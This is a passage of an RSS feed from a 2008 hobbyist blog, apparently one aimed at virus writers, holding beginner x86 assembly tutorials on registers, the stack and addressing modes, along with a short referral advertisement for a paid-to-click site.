&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/Ff0TYdy9b0U/free-assembly-compilers-to-you.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2008/03/free-assembly-compilers-to-you.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-6595849147877329517</guid><pubDate>Tue, 18 Mar 2008 06:04:00 +0000</pubDate><atom:updated>2008-03-18T14:45:08.960+08:00</atom:updated><title>Understanding the STACK</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/kNuKjWyrortN5MJv6hynq1abWGI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/kNuKjWyrortN5MJv6hynq1abWGI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/kNuKjWyrortN5MJv6hynq1abWGI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/kNuKjWyrortN5MJv6hynq1abWGI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Heck, as long as I've mentioned it before, lets look at the STACK:&lt;br /&gt;&lt;br /&gt;   The STACK is an area of memory that has the properties of a STACK of plates- the last one you put on is the first one take off.  The only difference is that the stack of plates is on the roof.  (Ok, so that can't really happen... unless gravity was shut down...)  Meaning that as you put another plate (or piece of data) on the stack, the STACK grows DOWNWARD.  Meaning that the stack pointer is DECREASED after each PUSH, and INCREASED after each POP.&lt;br /&gt;&lt;br /&gt; _____ Top of the allocated memory in the stack segment (SS)&lt;br /&gt;   þ&lt;br /&gt;   þ&lt;br /&gt;   þ&lt;br /&gt;   þ ® SP (the stack pointer points to the most recently pushed byte)&lt;br /&gt;&lt;br /&gt;   Truthfully, you don't need to know much more than a stack is Last In, First Out (LIFO).&lt;br /&gt;&lt;br /&gt; WRONG ex:&lt;br /&gt;push    cx  ;this swaps the contents of CX and AX&lt;br /&gt;           push    ax  ;of course, if you wanted to do this quicker, you'd&lt;br /&gt;           ...&lt;br /&gt;           pop     cx  ;just say XCHG cx,ax&lt;br /&gt;           pop     ax  ; but thats not my point.&lt;br /&gt;&lt;br /&gt; RIGHT ex:&lt;br /&gt;push    cx  ;this correctly restores AX &amp;amp; CX&lt;br /&gt;           push    ax&lt;br /&gt;           ...&lt;br /&gt;           pop     ax&lt;br /&gt;           pop     cx&lt;br /&gt;&lt;br /&gt;Now I'll do a quick run through on the assembler instructions that you MUST know:&lt;br /&gt;&lt;br /&gt;Examples of different addressing modes:&lt;br /&gt;&lt;br /&gt;       MOV ax,5        ;moves and IMMEDIATE value into ax (think 'AX = 5')&lt;br /&gt;       MOV bx,cx       ;moves a register into another register&lt;br /&gt;       MOV cx,[SI]     ;moves [DS:SI] into cx (the Default Segment is Used)&lt;br /&gt;       MOV [DI+5],ax   ;moves ax into [DS:DI+5]&lt;br /&gt;       MOV [ES:DI+BX+34],al    ;same as above, but has a more complicated&lt;br /&gt;                               ;OFFSET (=DI+BX+34) and a SEGMENT OVERRIDE&lt;br /&gt;       MOV ax,[546]    ;moves whats at [DS:546] into AX&lt;br /&gt;                     &lt;br /&gt;   Note that the last example would be totally different if the brackets were left out.  It would mean that an IMMEDIATE value of 546 is put into AX, instead of what's at offset 546 in the Default Segment.&lt;br /&gt; &lt;br /&gt;ANOTHER STANDARD NOTATION TO KNOW:&lt;br /&gt;   Whenever you see brackets [] around something, it means that it refers to what is AT that offset.  For instance, say you had this situation:&lt;br /&gt;&lt;br /&gt;MyData  dw  55&lt;br /&gt;   ...&lt;br /&gt;   mov ax,MyData&lt;br /&gt;&lt;br /&gt;What is that supposed to mean?  Is MyData an Immediate Value?  This is confusing and for our purposes WRONG.  The 'Correct' way to do this would be:&lt;br /&gt;&lt;br /&gt;MyData  dw  55&lt;br /&gt;   ...&lt;br /&gt;   mov ax,[MyData]&lt;br /&gt;&lt;br /&gt;This is clearly moving what is AT the address of MyData, which would be 55, and not moving the OFFSET of MyData itself.  But what if you actually wanted the OFFSET?  Well, you must specify directly.&lt;br /&gt;&lt;br /&gt;MyData  dw  55&lt;br /&gt;   ...&lt;br /&gt;   mov ax,OFFSET MyData&lt;br /&gt;&lt;br /&gt;Similiarly, if you wanted the SEGMENT that MyData was in, you'd do this:&lt;br /&gt;&lt;br /&gt;MyData  dw  55&lt;br /&gt;   ...&lt;br /&gt;   mov ax,SEG MyData&lt;br /&gt;&lt;br /&gt;See?I think you will get it after all this brief post. :-)&lt;br /&gt;As for he next post I will describe about the INT. Wait and see.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-6595849147877329517?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=afbs9ucnNTU:pY7D1BEqdOI:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=afbs9ucnNTU:pY7D1BEqdOI:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=afbs9ucnNTU:pY7D1BEqdOI:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=afbs9ucnNTU:pY7D1BEqdOI:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=afbs9ucnNTU:pY7D1BEqdOI:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=afbs9ucnNTU:pY7D1BEqdOI:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=afbs9ucnNTU:pY7D1BEqdOI:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=afbs9ucnNTU:pY7D1BEqdOI:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=afbs9ucnNTU:pY7D1BEqdOI:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=afbs9ucnNTU:pY7D1BEqdOI:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=afbs9ucnNTU:pY7D1BEqdOI:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=afbs9ucnNTU:pY7D1BEqdOI:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/afbs9ucnNTU/understanding-stack.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2008/03/understanding-stack.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-7175504430611446211</guid><pubDate>Sun, 16 Mar 2008 09:56:00 +0000</pubDate><atom:updated>2008-03-16T18:02:51.859+08:00</atom:updated><title>The Registers (Continued)</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/SsD1rK2rLvVL0856iPteX2pYvzY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SsD1rK2rLvVL0856iPteX2pYvzY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/SsD1rK2rLvVL0856iPteX2pYvzY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SsD1rK2rLvVL0856iPteX2pYvzY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;As before I've mentioned about the AX registers, now we'll continue about the other registers. Take note guys!.&lt;br /&gt;&lt;br /&gt;BX (BH/BL): same as AX (BH/BL)&lt;br /&gt;&lt;br /&gt;    SPECIAL USES:&lt;br /&gt;        As mentioned before, BX can be used as an OFFSET register.&lt;br /&gt;            ex:&lt;br /&gt;mov ax,[ds:bx]  (grabs the WORD at the address created by&lt;br /&gt;                                    DS and BX)&lt;br /&gt;&lt;br /&gt;CX (CH/CL): Same as AX&lt;br /&gt;   &lt;br /&gt;    SPECIAL USES:&lt;br /&gt;        Used in REP prefix to repeat an instruction CX number of times&lt;br /&gt;            ex:&lt;br /&gt;mov cx,10&lt;br /&gt;                mov ax,0&lt;br /&gt;                rep stosb ;this would write 10 zeros to [ES:DI] and increase&lt;br /&gt;                          ;DI by 10.&lt;br /&gt;        Used in LOOP&lt;br /&gt;            ex:&lt;br /&gt;mov cx,100&lt;br /&gt;&lt;br /&gt;            THELABEL:&lt;br /&gt;&lt;br /&gt;                ;do something that would print out 'HI'&lt;br /&gt;&lt;br /&gt;                loop THELABEL   ;this would print out 'HI' 100 times&lt;br /&gt;                                ;the loop is the same as:&lt;br /&gt;dec cx&lt;br /&gt;                                                          jne THELABEL&lt;br /&gt;           &lt;br /&gt;DX (DH/DL): Same as above&lt;br /&gt;    SPECIAL USES:&lt;br /&gt;        USED in word sized MUL, DIV, IMUL, IDIV as DEST for high word&lt;br /&gt;                or remainder&lt;br /&gt;&lt;br /&gt;            ex:&lt;br /&gt;mov bx,10&lt;br /&gt;                mov ax,5&lt;br /&gt;                mul bx  ;this multiplies BX by AX and puts the result&lt;br /&gt;                        ;in DX:AX&lt;br /&gt;&lt;br /&gt;            ex:&lt;br /&gt;(continue from above)&lt;br /&gt;                div bx  ;this divides DX:AX by BX and put the result in AX and&lt;br /&gt;                        ;the remainder (in this case zero) in DX&lt;br /&gt;&lt;br /&gt;        Used as address holder for IN's, and OUT's (see ax's examples)&lt;br /&gt;           &lt;br /&gt;INDEX REGISTERS: &lt;br /&gt;&lt;br /&gt;    DI: Used as destination address holder for stos, movs (see ax's examples)&lt;br /&gt;        Also can be used as an OFFSET register&lt;br /&gt;&lt;br /&gt;    SI: Used as source address holder for lods, movs (see ax's examples)&lt;br /&gt;        Also can be used as OFFSET register&lt;br /&gt;&lt;br /&gt;        Example of MOVS:&lt;br /&gt;&lt;br /&gt;            movsb   ;moves whats at [DS:SI] into [ES:DI] and increases&lt;br /&gt;            movsw   ; DI and SI by one for movsb and 2 for movsw&lt;br /&gt;&lt;br /&gt;        NOTE: Up to here we have assumed that the DIRECTION flag was cleared.&lt;br /&gt;            If the direction flag was set, the DI &amp;amp; SI would be DECREASED&lt;br /&gt;            instead of INCREASED.&lt;br /&gt;            ex:    &lt;br /&gt;cld     ;clears direction flag&lt;br /&gt;                    std     ;sets direction flag&lt;br /&gt;&lt;br /&gt;STACK RELATED INDEX REGISTERS:&lt;br /&gt;&lt;br /&gt;    BP: Base Pointer. Can be used to access the stack. Default segment is&lt;br /&gt;        SS.  Can be used to access data in other segments throught the use&lt;br /&gt;        of a SEGMENT OVERRIDE.&lt;br /&gt;&lt;br /&gt;        ex:&lt;br /&gt;mov al,[ES:BP] ;moves a byte from segment ES, offset BP&lt;br /&gt;            Segment overrides are used to specify WHICH of the 4 (or 6 on the&lt;br /&gt;            386) segment registers to use.&lt;br /&gt;&lt;br /&gt;    SP: Stack Pointer. Does just that.  Segment overrides don't work on this&lt;br /&gt;        guy.  Points to the current position in the stack.  Don't alter unless&lt;br /&gt;        you REALLY know what you are doing.&lt;br /&gt;       &lt;br /&gt;SEGMENT REGISTERS:&lt;br /&gt;&lt;br /&gt;    DS: Data segment- all data read are from the segment pointed to be this&lt;br /&gt;        segment register unless a segment overide is used.&lt;br /&gt;        Used as source segment for movs, lods&lt;br /&gt;        This segment also can be thought of as the "Default Segment" because&lt;br /&gt;        if no segment override is present, DS is assumed to be the segmnet&lt;br /&gt;        you want to grab the data from.&lt;br /&gt;&lt;br /&gt;    ES: Extra Segment- this segment is used as the destination segment&lt;br /&gt;        for movs, stos&lt;br /&gt;        Can be used as just another segment...  You need to specify [ES:°°]&lt;br /&gt;        to use this segment.&lt;br /&gt;&lt;br /&gt;    FS: (386+) No particular reason for it's name... I mean, we have CS, DS,&lt;br /&gt;        and ES, why not make the next one FS? :)  Just another segment..&lt;br /&gt;   &lt;br /&gt;    GS: (386+) Same as FS&lt;br /&gt;&lt;br /&gt;   &lt;br /&gt;OTHERS THAT YOU SHOULDN'T OR CAN'T CHANGE:&lt;br /&gt;&lt;br /&gt;    CS: Segment that points to the next instruction- can't change directly&lt;br /&gt;    IP: Offset pointer to the next instruction- can't even access&lt;br /&gt;        The only was to change CS or IP would be through a JMP, CALL, or RET&lt;br /&gt;&lt;br /&gt;    SS: Stack segment- don't mess with it unless you know what you're&lt;br /&gt;        doing.  Changing this will probably crash the computer.  This is the&lt;br /&gt;        segment that the STACK resides in.&lt;br /&gt;&lt;br /&gt;So, that's all for now and I'll come back with some example of the stack and the WRONG and RIGHT doing in the stack. Have fun y'all!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-7175504430611446211?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=KQUM1bxcHcI:4__yioONru8:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=KQUM1bxcHcI:4__yioONru8:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=KQUM1bxcHcI:4__yioONru8:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=KQUM1bxcHcI:4__yioONru8:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=KQUM1bxcHcI:4__yioONru8:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=KQUM1bxcHcI:4__yioONru8:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=KQUM1bxcHcI:4__yioONru8:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=KQUM1bxcHcI:4__yioONru8:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=KQUM1bxcHcI:4__yioONru8:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=KQUM1bxcHcI:4__yioONru8:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=KQUM1bxcHcI:4__yioONru8:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=KQUM1bxcHcI:4__yioONru8:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/KQUM1bxcHcI/registers-continued.html</link><author>noreply@blogger.com (DauskupanG)</author><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2008/03/registers-continued.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-4188449790638775547</guid><pubDate>Fri, 14 Mar 2008 04:30:00 +0000</pubDate><atom:updated>2008-03-14T12:40:22.925+08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Ads</category><title>Top P-T-C system in the world!</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7rE8l3ba6vHZHUoLEGtQzH9EN00/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7rE8l3ba6vHZHUoLEGtQzH9EN00/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7rE8l3ba6vHZHUoLEGtQzH9EN00/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7rE8l3ba6vHZHUoLEGtQzH9EN00/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_-NwIfV3kOeQ/R9oA4_pUA7I/AAAAAAAAABc/KXIrKPJwLVs/s1600-h/top.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_-NwIfV3kOeQ/R9oA4_pUA7I/AAAAAAAAABc/KXIrKPJwLVs/s200/top.png" alt="" id="BLOGGER_PHOTO_ID_5177451700773192626" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Recently I found this site that really good in P-T-C (paid to click) system and highest paying rates! Try it yourself. Good to make your side income but it's not make you rich in a second. Remember that.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bux.to/?r=dauskupang"&gt;Click here to register.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-4188449790638775547?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=960fYwfWT0w:BrwkeUnuvjs:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=960fYwfWT0w:BrwkeUnuvjs:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=960fYwfWT0w:BrwkeUnuvjs:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=960fYwfWT0w:BrwkeUnuvjs:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=960fYwfWT0w:BrwkeUnuvjs:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=960fYwfWT0w:BrwkeUnuvjs:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=960fYwfWT0w:BrwkeUnuvjs:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=960fYwfWT0w:BrwkeUnuvjs:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=960fYwfWT0w:BrwkeUnuvjs:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=960fYwfWT0w:BrwkeUnuvjs:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=960fYwfWT0w:BrwkeUnuvjs:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=960fYwfWT0w:BrwkeUnuvjs:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</description><link>http://feedproxy.google.com/~r/Dauskupang/~3/960fYwfWT0w/top-p-t-c-system-in-world.html</link><author>noreply@blogger.com (DauskupanG)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://bp3.blogger.com/_-NwIfV3kOeQ/R9oA4_pUA7I/AAAAAAAAABc/KXIrKPJwLVs/s72-c/top.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://virii-making.blogspot.com/2008/03/top-p-t-c-system-in-world.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4462266207216999823.post-2860587105351794300</guid><pubDate>Wed, 12 Mar 2008 16:17:00 +0000</pubDate><atom:updated>2008-03-13T00:23:25.158+08:00</atom:updated><title>The Registers (AX)</title><description>&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/C7JL04rgAOTecc_bu0o3Ccanyeo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/C7JL04rgAOTecc_bu0o3Ccanyeo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/C7JL04rgAOTecc_bu0o3Ccanyeo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/C7JL04rgAOTecc_bu0o3Ccanyeo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;I've mentioned AX, AL, and AH before, and you're probably wondering what exactly they are.  Well, I'm gonna go through one by one and explain what each register is and what it's most common uses are.  Here goes:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;AX (AH/AL):&lt;br /&gt;&lt;br /&gt;AX is a 16 bit register which, as metioned before, is merely two bytes attached together.  Well, for AX, BX, CX, &amp;amp; DX you can independantly access each part of the 16 bit register through the 8bit (or byte sized) registers.  For AX, they are AL and AH, which are the Low and High parts of AX, respectivly.  It should be noted that any change to AL or AH, will change AX.  Similairly any changes to AX may or may not change AL and AH.  For instance:&lt;br /&gt;&lt;br /&gt;Let's suppose that AX = 00000h (AH and AL both = 0, too)&lt;br /&gt;&lt;br /&gt;    mov     AX,0&lt;br /&gt;    mov     AL,0&lt;br /&gt;    mov     AH,0&lt;br /&gt;&lt;br /&gt;Now we set AL = 0FFh. &lt;br /&gt;&lt;br /&gt;    mov     AL,0FFh&lt;br /&gt;&lt;br /&gt;:AX =&gt; 000FFh  ;I'm just showing ya what's in the registers&lt;br /&gt;:AL =&gt;   0FFh&lt;br /&gt;:AH =&gt; 000h&lt;br /&gt;&lt;br /&gt;Now we increase AX by one:&lt;br /&gt;&lt;br /&gt;    INC     AX&lt;br /&gt;&lt;br /&gt;:AX =&gt; 00100h (= 256.. 255+1= 256)&lt;br /&gt;:AL =&gt;   000h (Notice that the change to AX changed AL and AH)&lt;br /&gt;:AH =&gt; 001h&lt;br /&gt;&lt;br /&gt;Now we set AH = 0ABh (=171)&lt;br /&gt;&lt;br /&gt;    mov     AH,0ABh&lt;br /&gt;&lt;br /&gt;:AX =&gt; 0AB00h&lt;br /&gt;:AL =&gt;   000h&lt;br /&gt;:AH =&gt; 0ABh&lt;br /&gt;&lt;br /&gt;Notice that the first example was just redundant...&lt;br /&gt;We could've set AX = 0 by just doing&lt;br /&gt;&lt;br /&gt;    mov     ax,0&lt;br /&gt;&lt;br /&gt;:AX =&gt; 00000h&lt;br /&gt;:AL =&gt;   000h&lt;br /&gt;:AH =&gt; 000h&lt;br /&gt;&lt;br /&gt;I think ya got the idea...&lt;br /&gt;&lt;br /&gt;   SPECIAL USES OF AX:&lt;br /&gt;        Used as the destination of an IN (in port)&lt;br /&gt;            ex:&lt;br /&gt;IN  AL,DX&lt;br /&gt;                IN  AX,DX&lt;br /&gt;&lt;br /&gt;        Source for the output for an OUT          &lt;br /&gt;            ex:&lt;br /&gt;OUT DX,AL&lt;br /&gt;                OUT DX,AX&lt;br /&gt;&lt;br /&gt;        Destination for LODS (grabs byte/word from [DS:SI] and INCreses SI)&lt;br /&gt;            ex:&lt;br /&gt;lodsb   (same as:   mov al,[ds:si] ; inc si )&lt;br /&gt;                lodsw   (same as:   mov ax,[ds:si] ; inc si ; inc si )&lt;br /&gt;&lt;br /&gt;        Source for STOS      (puts AX/AL into [ES:DI] and INCreses DI)&lt;br /&gt;            ex:&lt;br /&gt;stosb   (same as:   mov [es:di],al ; inc di )&lt;br /&gt;                stosw   (same as:   mov [es:di],ax ; inc di ; inc di )&lt;br /&gt;&lt;br /&gt;        Used for MUL, IMUL, DIV, IDIV&lt;br /&gt;&lt;br /&gt;As the next post I will get to you about the registers called BX. That's all for this post. You have to get it! :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4462266207216999823-2860587105351794300?l=virii-making.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ijbCZA-mM58:P3b-Mt9TnLo:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ijbCZA-mM58:P3b-Mt9TnLo:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ijbCZA-mM58:P3b-Mt9TnLo:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ijbCZA-mM58:P3b-Mt9TnLo:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=ijbCZA-mM58:P3b-Mt9TnLo:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ijbCZA-mM58:P3b-Mt9TnLo:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ijbCZA-mM58:P3b-Mt9TnLo:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=ijbCZA-mM58:P3b-Mt9TnLo:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ijbCZA-mM58:P3b-Mt9TnLo:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ijbCZA-mM58:P3b-Mt9TnLo:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?i=ijbCZA-mM58:P3b-Mt9TnLo:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/Dauskupang?a=ijbCZA-mM58:P3b-Mt9TnLo:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/Dauskupang?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
